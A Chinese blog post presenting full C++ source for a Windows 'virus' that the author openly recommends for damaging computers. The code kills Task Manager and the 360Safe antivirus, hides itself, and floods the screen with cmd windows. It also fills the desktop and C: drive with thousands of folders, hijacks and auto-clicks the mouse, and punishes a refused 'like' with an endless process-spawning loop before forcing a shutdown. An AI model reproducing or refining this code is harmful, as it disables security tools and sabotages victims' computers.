当前位置: 首页 > news >正文

C++病毒(^_^|)(2)

第二期

声明:

        仅供损害电脑,不得用于非法。损坏电脑,作者一律不负责。此作为作者原创,转载请经过同意。

直接上代码
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
HHOOK g_hHook;void lrud(int n=1){if(n==1){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_LEFT,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_LEFT,0,KEYEVENTF_KEYUP,0);	}else if(n==2){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_UP,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0);		}else if(n==3){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_RIGHT,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_RIGHT,0,KEYEVENTF_KEYUP,0);		}else{keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_DOWN,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);	}
}void for_lrud(){for(int i=1;i<=4;i++){lrud(i);}lrud(2);
}LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {if (nCode == HCBT_ACTIVATE) {HWND hMsgBox = (HWND)wParam;SetWindowPos(hMsgBox, NULL, 0, 0, 400, 200, SWP_NOMOVE | SWP_NOZORDER);UnhookWindowsHookEx(g_hHook);}return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}string itos3(int n){int a,b,c;a=n/100;b=n%100/10;c=n%10;string s="";if(a!=0){char d=a+'0';s+=d;		}if(b!=0||(b==0&&a!=0)){char d=b+'0';s+=d;}if(c!=0||(c==0&&b==0&&a!=0)||(c==0&&b!=0)){char d=c+'0';s+=d;}return s;
}struct vir{struct wenjian{void xingshi(){system("taskkill /f /im taskmgr.exe");HWND hwnd;hwnd = FindWindow("ConsoleWindowClass", NULL);if (hwnd){ShowOwnedPopups(hwnd, SW_HIDE);ShowWindow(hwnd, SW_HIDE);}MessageBox(NULL,"新年新气象","古诗",MB_OK);MessageBox(NULL,"新年多上当","古诗",MB_OK);MessageBox(NULL,"山外青山楼外楼","古诗",MB_OK);	MessageBox(NULL,"那里有个中分头","古诗",MB_OK);	MessageBox(NULL,"两只黄鹂鸣翠柳","古诗",MB_OK);MessageBox(NULL,"穿成烤串还不够","古诗",MB_OK);	g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("你阻止不了我入侵电脑!"),TEXT("病毒"),MB_OK|MB_ICONWARNING);Sleep(2000);WinExec("taskkill /f /im 360Safe.exe",SW_HIDE);			HWND hw=FindWindow("360Safe.exe",NULL);if(hw!=NULL){ShowWindow(hw,SW_HIDE);}g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("360呢"),TEXT("你"),MB_OK|MB_ICONWARNING);	Sleep(500);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("黑化中..."),TEXT("360"),MB_OK|MB_ICONMASK);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());Sleep(4000);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("准备好接受审判吧"),TEXT("病毒and360"),MB_OK|MB_ICONWARNING);ShowOwnedPopups(hwnd, SW_HIDE);ShowWindow(hwnd, SW_HIDE);			int ll=10000;while(ll--){int cx=GetSystemMetrics(SM_CXSCREEN);int cy=GetSystemMetrics(SM_CYSCREEN);SetCursorPos(rand() % cx,rand() % cy);}}void vira(){xingshi();int ll=100;while(ll--){system("start cmd");}MessageBox(NULL,"给你几秒关闭的时间","提示",MB_OK|MB_ICONWARNING);Sleep(10000);for(int i=1;i<=100;i++){string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";jj+=itos3(i);system(jj.data());}MessageBox(NULL,"看看你的桌面","提示",MB_OK|MB_ICONWARNING);Sleep(20000);MessageBox(NULL,"你肯定都删了,那...","提示",MB_OK|MB_ICONWARNING);	for(int i=1;i<=100;i++){string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";jj+=itos3(i);system(jj.data());}Sleep(20000);MessageBox(NULL,"鼠标被我控制啦!!!","提示",MB_OK|MB_ICONWARNING);			int ii=100000;while(ii--){SetCursorPos(1,1);}MessageBox(NULL,"鼠标连点器启动!!!","提示",MB_OK|MB_ICONWARNING);int iii=10000;while(iii--){mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);}for(int i=1;i<=100;i++){string jj="mkdir C:\\a";jj+=itos3(i);system(jj.data());}MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"骗你的!!!再等一小会。","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"看看你的C盘!","提示",MB_OK|MB_ICONWARNING);Sleep(10000);MessageBox(NULL,"屏幕作乱...","提示",MB_OK|MB_ICONWARNING);for_lrud();MessageBox(NULL,"文件夹即将占领世界(C盘)!","提示",MB_OK|MB_ICONWARNING);for(int i=1;i<=999;i++){string jj="mkdir C:\\a";jj+=itos3(i);system(jj.data());string jjb="mkdir C:\\b";jjb+=itos3(i);system(jjb.data());	}			int pp=MessageBox(NULL,"点个赞再走!不然...","提示",MB_OKCANCEL|MB_ICONWARNING);if(pp==IDCANCEL){while(1){system("start cmd");srand(time(0));SetCursorPos(rand()%GetSystemMetrics(SM_CXSCREEN),rand()%GetSystemMetrics(SM_CYSCREEN));lrud(rand()%4+1);}}HWND hwnd;hwnd = FindWindow("ConsoleWindowClass", NULL);ShowOwnedPopups(hwnd, SW_SHOW);ShowWindow(hwnd, SW_SHOW);MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);system("shutdown -s");}}wen;
}virus;int main(){virus.wen.vira();
}

危害极大,建议损害电脑:

禁用任务管理器,隐藏程序,鼠标乱飞,100个cmd,桌面100文件夹,鼠标控制,鼠标连点,折磨心态,C盘爆炸,随意谎骗,不点赞惩罚

下一期

http://www.lryc.cn/news/536060.html

相关文章:

  • 在vscode中拉取gitee里的项目并运行
  • centos7 防火墙开放指定端口
  • Day42(补)【AI思考】-编译过程中语法分析及递归子程序分析法的系统性解析
  • AI成为基础设施有哪些研究方向:模型的性能、可解释性,算法偏见
  • 写一个鼠标拖尾特效
  • Redisson介绍和入门使用
  • OpenAI推出全新AI助手“Operator”:让人工智能帮你做事的新时代!
  • Python----PyQt开发(PyQt基础,环境搭建,Pycharm中PyQttools工具配置,第一个PyQt程序)
  • 算法笔记 02 —— 入门模拟
  • PyTorch 源码学习:从 Tensor 到 Storage
  • uniapp 使用 鸿蒙开源字体
  • LabVIEW多电机CANopen同步
  • 每日定投40刀BTC(2)20250209 - 20250212
  • 【LeetCode Hot100 子串】和为 k 的子数组、滑动窗口最大值、最小覆盖子串
  • 某虚拟页式存储管理系统中有一个程序占8个页面,运行时访问页面的顺序是1,2,3,4,5,3,4,1,6,7,8,7,8,5。假设刚开始内存没有预装入任何页面。
  • 傅里叶公式推导(三)
  • Ubuntu 下 nginx-1.24.0 源码分析 - ngx_time_update函数
  • 老牌系统工具箱,现在还能打!
  • mysql error1449解决方法
  • Notepad++ 中删除所有以 “pdf“ 结尾的行
  • 归并排序 和 七大算法的总结图
  • 嵌入式硬件篇---原码、补码、反码
  • 评估多智能体协作网络(MACNET)的性能:COT和AUTOGPT基线方法
  • 洛谷题目: P2398 GCD SUM 题解 (本题较难,省选-难度)
  • kubernetes-cni 框架源码分析
  • AI Agent有哪些痛点问题
  • 使用Java爬虫获取京东JD.item_sku API接口数据
  • 华为云+硅基流动使用Chatbox接入DeepSeek-R1满血版671B
  • 平方数列与立方数列求和的数学推导
  • Java中的synchronized关键字与锁升级机制